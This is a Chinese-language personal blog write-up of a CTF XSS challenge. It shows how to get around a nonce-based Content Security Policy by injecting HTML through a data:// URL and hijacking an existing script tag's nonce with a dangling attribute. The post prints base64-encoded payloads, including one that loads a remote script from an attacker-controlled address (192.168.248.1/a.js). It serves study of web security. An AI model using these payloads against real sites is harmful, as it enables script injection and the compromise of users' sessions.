nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

一道绕过CSP的XSS题目

前言

自己xss还没学,然后不想学js,干脆直接看一下题,随便搜xss,搜了一道题,可以随便看看,虽然自己是真的感觉不学基础有点看不明白,就大部分抄别人的解释了,也因为好久没写文章,手痒,而且过年不知道好久没坚持一天一道ctf了,反正真玩脱了,甚至有点玩得恶心了,不知道玩什么了都。这里放上链接
https://www.mi1k7ea.com/2019/02/21/%E4%B8%80%E9%81%93%E7%BB%95%E8%BF%87CSP%E7%9A%84XSS%E9%A2%98%E7%9B%AE/#%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90

题目分析

首先可以输入两个参数,name和url,但是输入的name直接回显了,说明已经被实体化了2024-02-13T11:35:43.png
然后还涉及到csp的策略,这里看不懂,就直接抄
2024-02-13T11:36:33.png
参数url,可通过input栏输入提交,尝试输入标签内容,发现提示输入内容为非法URL:
那就输入一个外部URL地址如本博客,发现提示只能输入服务端本身的URL,即应该限定了只能输入访问本地的URL,并且限制了只能是协议://ip:port这种形式才能正常执行:2024-02-13T11:38:54.png
限制了只能通过协议://ip:port这种形式来作为开头输入,并且限定只能是服务端的IP
这是PHP的题目,是不是可以利用PHP伪协议?要想输入的内容能显现在页面中,能与之相关联的伪协议即data://伪协议。

测试一下,在输入框输入:

data://127.0.0.1/;base64,PGltZz4=

其中PGltZz4=为的base64编码结果
2024-02-13T11:40:32.png
检查元素可以看到,img标签成功插入到页面中显示出来。

接下来直接插入script标签尝试弹框:

data://127.0.0.1/;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==为<script>alert(1)</script>的base64编码结果

发现标签是插进去了,但是没有弹框,意料之中,我们的script标签没有nonce值,被CSP策略拦截不可执行了:

csp绕过

利用浏览器补全功能绕过

由前面知道,我们的script标签由于没有nonce,而CSP中设置的其中一条 script-src ‘nonce-xx’ ‘strict-dynamic’; 限定了有随机nonce值或由有nonce的标签动态生成的script才能执行。

这里关注前面的script-src ‘nonce-xx’,我们想一下,是不是可以劫持某个script标签的nonce属性呢?

在参考的文章中说到:
2024-02-13T11:42:53.png
也就是说,利用浏览器补全的功能,在含有nonce的script标签前面的插入点插入script标签的同时,插入a=”以闭合后面script标签的第一个属性的双引号,从而使中间的内容失效,将本来的nonce属性劫持到了插入的script标签中,使得该插入标签可以正常执行JS代码,也就是说浏览器会给我们自动补全只有一个双引号的属性的值。

我们回过头来看看页面代码布局,可以看到在插入的标签后面在一段拥有nonce属性的script标签,就是它了:
2024-02-13T11:45:07.png
构造payload:我们需要先闭合掉前面的pre和form标签,然后再插入script标签;在script标签中,先写入包含远程恶意js代码文件的src属性,再添加a=”。即

将 </pre></form><script src="http://192.168.248.1/a.js" a="  Base64加密即可
data://127.0.0.1/;base64,PC9wcmU+PC9mb3JtPjxzY3JpcHQgc3JjPSJodHRwOi8vMTkyLjE2OC4yNDguMS9hLmpzIiBhPSI=

再看一下页面元素:
2024-02-13T11:47:42.png
这里再解释一遍,把pre和form标签闭合之后,输入<script src=xxx a="的内容,由于浏览器的补全功能,a标签的双引号会和最后的script标签的第一个元素即type的双引号闭合掉,从而使中间的内容即第一个红框内的内容无效,导致后面的内容自己成为新的属性,包括nonce属性,从而成功劫持了最后的script标签的nonce属性为插入的script属性,最终成功执行。

但是上述的a标签在Chrome上是执行不了的,原因在于Chrome对于标签的解析方式则不同,Chrome中解析script标签的优先级高于解析属性双引号内的值,因而前面双引号闭合的时候没法正常使其失效。但是这里可以使用src属性替代,使其可在Chrome下正常执行

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » 一道绕过CSP的XSS题目

评论 1

  1. 大佬

    Yuy0ung 2024-02-24    回复